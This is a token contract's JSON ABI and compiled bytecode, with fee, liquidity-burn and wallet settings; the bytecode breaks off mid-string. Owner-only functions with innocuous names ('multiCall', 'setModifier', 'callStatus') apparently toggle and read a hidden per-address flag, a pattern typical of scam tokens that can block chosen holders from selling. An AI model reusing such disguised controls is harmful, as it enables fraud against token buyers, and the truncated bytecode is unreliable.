[{"inputs":[{"internalType":"string","name":"nm","type":"string"},{"internalType":"string","name":"sm","type":"string"},{"internalType":"uint8","name":"dc","type":"uint8"},{"internalType":"uint256","name":"ts","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"callStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"multiCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetLimitsBackIntoEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"setAutoLpReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"oneIsOnZeroIsOff","type":"uint256"}],"name":"setModifier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newBurnAddress","type":"address"}],"name":"updateBurnAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellMarketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019600d556001600e60006101000a81548160ff021916908315150217905550611c20600f556107086011556001601360006101000a81548160ff0219169083151502179055506000601360016101000a81548160ff0219169083151502179055506000601360026101000a81548160ff0219169083151502179055506001601360036101000a81548160ff0219169083151502179055506000601760006101000a81548160ff0219169083151502179055503480156200010757600080fd5b50604051620051063803806200510683398181016040528101906200012d919062000de5565b600380546200013c9062000ec4565b80601f01602080910402602001604051908101604052809291908181526020018280546200016a9062000ec4565b8015620001bb5780601f106200018f57610100808354040283529160200191620001bb565b820191906000526020600020905b8154815290600101906020018083116200019d57829003601f168201915b505050505060048054620001cf9062000ec4565b80601f0160208091040260200160405190810160405280929190818152602001828054620001fd9062000ec4565b80156200024e5780601f1062000222576101008083540402835291602001916200024e565b820191906000526020600020905b8154815290600101906020018083116200023057829003601f168201915b5050505050600560009054906101000a900460ff1682600390805190602001906200027b92919062000b1f565b5081600490805190602001906200029492919062000b1f565b5080600560006101000a81548160ff021916908360ff1602179055505050506000620002c56200078660201b60201c565b905080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000600290506000600290506000600190506000600290506000600290506000600190506000600190506000600290506000806103e8600282620003a9919062000f29565b620003b5919062000fb9565b600a81905550620003d66064826200078e60201b620026c91790919060201c565b600c81905550612710600582620003ee919062000f29565b620003fa919062000fb9565b600b819055508960198190555088601a8190555087601b81905550601b54601a546019546200042a919062000ff1565b62000436919062000ff1565b60188190555086601d8190555085601e8190555084601f81905550601f54601e54601d5462000466919062000ff1565b62000472919062000ff1565b601c81905550836020819055508260218190555062000496620007e060201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004e6620007e060201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005486200053a620007e060201b60201c565b60016200080a60201b60201c565b6200055b3060016200080a60201b60201c565b6200057061dead60016200080a60201b60201c565b6200059262000584620007e060201b60201c565b60016200095760201b60201c565b620005a53060016200095760201b60201c565b620005ba61dead60016200095760201b60201c565b8d60039080519060200190620005d292919062000b1f565b508c60049080519060200190620005eb92919062000b1f565b508b600560006101000a81548160ff021916908360ff1602179055508a9150620006268260025462000a5460201b620027131790919060201c565b60028190555062000684826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a5460201b620027131790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200072691906200105f565b60405180910390a36001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff021916908315150217905550426010819055504360258190555050505050505050505050505050506200121b565b600033905090565b6000620007d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000ab760201b60201c565b905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200081a6200078660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a390620010dd565b60405180910390fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200094b91906200111c565b60405180910390a25050565b620009676200078660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f090620010dd565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828462000a65919062000ff1565b90508381101562000aad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa49062001189565b60405180910390fd5b8091505092915050565b6000808311829062000b01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000af89190620011f7565b60405180910390fd5b506000838562000b12919062000fb9565b9050809150509392505050565b82805462000b2d9062000ec4565b90600052602060002090601f01602090048101928262000b51576000855562000b9d565b82601f1062000b6c57805160ff191683800117855562000b9d565b8280016001018555821562000b9d579182015b8281111562000b9c57825182559160200191906001019062000b7f565b5b50905062000bac919062000bb0565b5090565b5b8082111562000bcb57600081600090555060010162000bb1565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000c388262000bed565b810181811067ffffffffffffffff8211171562000c5a5762000c5962000bfe565b5b80604052505050565b600062000c6f62000bcf565b905062000c7d828262000c2d565b919050565b600067ffffffffffffffff82111562000ca05762000c9f62000bfe565b5b62000cab8262000bed565b9050602081019050919050565b60005b8381101562000cd857808201518184015260208101905062000cbb565b8381111562000ce8576000848401525b50505050565b600062000d0562000cff8462000c82565b62000c63565b90508281526020810184848401111562000d245762000d2362000be8565b5b62000d3184828562000cb8565b509392505050565b600082601f83011262000d515762000d5062000be3565b5b815162000d6384826020860162000cee565b91505092915050565b600060ff82169050919050565b62000d848162000d6c565b811462000d9057600080fd5b50565b60008151905062000da48162000d79565b92915050565b6000819050919050565b62000dbf8162000daa565b811462000dcb57600080fd5b50565b60008151905062000ddf8162000db4565b92915050565b6000806000806080858703121562000e025762000e0162000bd9565b5b600085015167ffffffffffffffff81111562000e235762000e2262000bde565b5b62000e318782880162000d39565b945050602085015167ffffffffffffffff81111562000e555762000e5462000bde565b5b62000e638782880162000d39565b935050604062000e768782880162000d93565b925050606062000e898782880162000dce565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000edd57607f821691505b6020821081141562000ef45762000ef362000e95565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f368262000daa565b915062000f438362000daa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f7f5762000f7e62000efa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fc68262000daa565b915062000fd38362000daa565b92508262000fe65762000fe562000f8a565b5b828204905092915050565b600062000ffe8262000daa565b91506200100b8362000daa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001043576200104262000efa565b5b828201905092915050565b620010598162000daa565b82525050565b60006020820190506200107660008301846200104e565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620010c56020836200107c565b9150620010d2826200108d565b602082019050919050565b60006020820190508181036000830152620010f881620010b6565b9050919050565b60008115159050919050565b6200111681620010ff565b82525050565b60006020820190506200113360008301846200110b565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001171601b836200107c565b91506200117e8262001139565b602082019050919050565b60006020820190508181036000830152620011a48162001162565b9050919050565b600081519050919050565b6000620011c382620011ab565b620011cf81856200107c565b9350620011e181856020860162000cb8565b620011ec8162000bed565b840191505092915050565b60006020820190508181036000830152620012138184620011b6565b905092915050565b613edb806200122b6000396000f3fe60806040526004361061036f5760003560e01c80638095d564116101c6578063b62496f5116100f7578063e2f4560511610095578063f5ed24301161006f578063f5ed243014610ce3578063f637434214610d0e578063fe72b27a14610d39578063ff935af614610d7657610376565b8063e2f4560514610c62578063e884f26014610c8d578063f11a24d314610cb857610376565b8063c18bc195116100d1578063c18bc19514610ba6578063c876d0b914610bcf578063d85ba06314610bfa578063dd62ed3e14610c2557610376565b8063b62496f514610b15578063bbc0c74214610b52578063c024666814610b7d57610376565b8063a265777811610164578063a4c82a001161013e578063a4c82a0014610a59578063a4d15b6414610a84578063a9059cbb14610aaf578063aacebbe314610aec57610376565b8063a2657778146109ca578063a456f9a4146109f3578063a457c2d714610a1c57610376565b80639a7a23d6116101a05780639a7a23d6146109205780639c3b4fdc146109495780639ec22c0e14610974578063a0d82dc51461099f57610376565b80638095d564146108a157806392136913146108ca57806395d89b41146108f557610376565b80634a62bb65116102a05780636ddd17131161023e578063730c188811610218578063730c1888146107f9578063751039fc146108225780637571336a1461084d5780637bce5a041461087657610376565b80636ddd17131461076657806370a082311461079157806370d5ae05146107ce57610376565b8063541a43cf1161027a578063541a43cf146106be578063549f3295146106e95780636a486a8e146107125780636bd89cdd1461073d57610376565b80634a62bb651461062d5780634f807d26146106585780634fbee1931461068157610376565b806323b872dd1161030d5780632e82f1a0116102e75780632e82f1a01461055d578063313ce5671461058857806339509351146105b357806343b547ee146105f057610376565b806323b872dd146104ca5780632bf3d42d146105075780632c3e486c1461053257610376565b806318160ddd1161034957806318160ddd14610420578063184c16c51461044b578063199ffc7214610476578063203e727e146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9f565b60405161039d91906130c3565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061317e565b610e31565b6040516103da91906131d9565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906131f4565b610e4f565b60405161041791906131d9565b60405180910390f35b34801561042c57600080fd5b50610435610e6f565b6040516104429190613230565b60405180910390f35b34801561045757600080fd5b50610460610e79565b60405161046d9190613230565b60405180910390f35b34801561048257600080fd5b5061048b610e7f565b6040516104989190613230565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c3919061324b565b610e85565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613278565b610fa7565b6040516104fe91906131d9565b60405180910390f35b34801561051357600080fd5b5061051c611080565b6040516105299190613230565b60405180910390f35b34801561053e57600080fd5b50610547611086565b6040516105549190613230565b60405180910390f35b34801561056957600080fd5b5061057261108c565b60405161057f91906131d9565b60405180910390f35b34801561059457600080fd5b5061059d61109f565b6040516105aa91906132e7565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d5919061317e565b6110b6565b6040516105e791906131d9565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906131f4565b611169565b60405161062491906131d9565b60405180910390f35b34801561063957600080fd5b506106426111bf565b60405161064f91906131d9565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a919061317e565b6111d2565b005b34801561068d57600080fd5b506106a860048036038101906106a391906131f4565b611277565b6040516106b591906131d9565b60405180910390f35b3480156106ca57600080fd5b506106d36112cd565b6040516106e09190613230565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b91906131f4565b6112d3565b005b34801561071e57600080fd5b5061072761147c565b6040516107349190613230565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f91906131f4565b611482565b005b34801561077257600080fd5b5061077b61155d565b60405161078891906131d9565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131f4565b611570565b6040516107c59190613230565b60405180910390f35b3480156107da57600080fd5b506107e36115b8565b6040516107f09190613311565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190613358565b6115de565b005b34801561082e57600080fd5b50610837611739565b60405161084491906131d9565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906133ab565b6117f4565b005b34801561088257600080fd5b5061088b6118e6565b6040516108989190613230565b60405180910390f35b3480156108ad57600080fd5b506108c860048036038101906108c391906133eb565b6118ec565b005b3480156108d657600080fd5b506108df611a06565b6040516108ec9190613230565b60405180910390f35b34801561090157600080fd5b5061090a611a0c565b60405161091791906130c3565b60405180910390f35b34801561092c57600080fd5b50610947600480360381019061094291906133ab565b611a9e565b005b34801561095557600080fd5b5061095e611b43565b60405161096b9190613230565b60405180910390f35b34801561098057600080fd5b50610989611b49565b6040516109969190613230565b60405180910390f35b3480156109ab57600080fd5b506109b4611b4f565b6040516109c19190613230565b60405180910390f35b3480156109d657600080fd5b506109f160048036038101906109ec919061343e565b611b55565b005b3480156109ff57600080fd5b50610a1a6004803603810190610a1591906131f4565b611c09565b005b348015610a2857600080fd5b50610a436004803603810190610a3e919061317e565b611ce4565b604051610a5091906131d9565b60405180910390f35b348015610a6557600080fd5b50610a6e611db1565b604051610a7b9190613230565b60405180910390f35b348015610a9057600080fd5b50610a99611db7565b604051610aa691906131d9565b60405180910390f35b348015610abb57600080fd5b50610ad66004803603810190610ad1919061317e565b611dca565b604051610ae391906131d9565b60405180910390f35b348015610af857600080fd5b50610b136004803603810190610b0e91906131f4565b611de8565b005b348015610b2157600080fd5b50610b3c6004803603810190610b3791906131f4565b611f3f565b604051610b4991906131d9565b60405180910390f35b348015610b5e57600080fd5b50610b67611f5f565b604051610b7491906131d9565b60405180910390f35b348015610b8957600080fd5b50610ba46004803603810190610b9f91906133ab565b611f72565b005b348015610bb257600080fd5b50610bcd6004803603810190610bc8919061324b565b6120b2565b005b348015610bdb57600080fd5b50610be46121d4565b604051610bf191906131d9565b60405180910390f35b348015610c0657600080fd5b50610c0f6121e7565b604051610c1c9190613230565b60405180910390f35b348015610c3157600080fd5b50610c4c6004803603810190610c47919061346b565b6121ed565b604051610c599190613230565b60405180910390f35b348015610c6e57600080fd5b50610c77612274565b604051610c849190613230565b60405180910390f35b348015610c9957600080fd5b50610ca261227a565b604051610caf91906131d9565b60405180910390f35b348015610cc457600080fd5b50610ccd612335565b604051610cda9190613230565b60405180910390f35b348015610cef57600080fd5b50610cf861233b565b604051610d0591906131d9565b60405180910390f35b348015610d1a57600080fd5b50610d236123f6565b604051610d309190613230565b60405180910390f35b348015610d4557600080fd5b50610d606004803603810190610d5b919061324b565b6123fc565b604051610d6d91906131d9565b60405180910390f35b348015610d8257600080fd5b50610d9d6004803603810190610d9891906134ab565b61259f565b005b606060038054610dae90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054610dda90613555565b8015610e275780601f10610dfc57610100808354040283529160200191610e27565b820191906000526020600020905b815481529060010190602001808311610e0a57829003601f168201915b5050505050905090565b6000610e45610e3e612771565b8484612779565b6001905092915050565b60276020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60115481565b600d5481565b610e8d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f13906135d3565b60405180910390fd5b633b9aca006103e86001610f2e610e6f565b610f389190613622565b610f4291906136ab565b610f4c91906136ab565b811015610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f859061374e565b60405180910390fd5b633b9aca0081610f9e9190613622565b600a8190555050565b6000610fb4848484612944565b61107584610fc0612771565b61107085604051806060016040528060288152602001613e5960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611026612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b600190509392505050565b60215481565b600f5481565b600e60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b600061115f6110c3612771565b8461115a85600160006110d4612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b612779565b6001905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360009054906101000a900460ff1681565b6111da612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611269576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611260906135d3565b60405180910390fd5b6112738282612d1e565b5050565b6000602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60205481565b6112db612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461136a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611361906135d3565b60405180910390fd5b60001515601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611420576001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611479565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601c5481565b61148a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906135d3565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115e6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a0000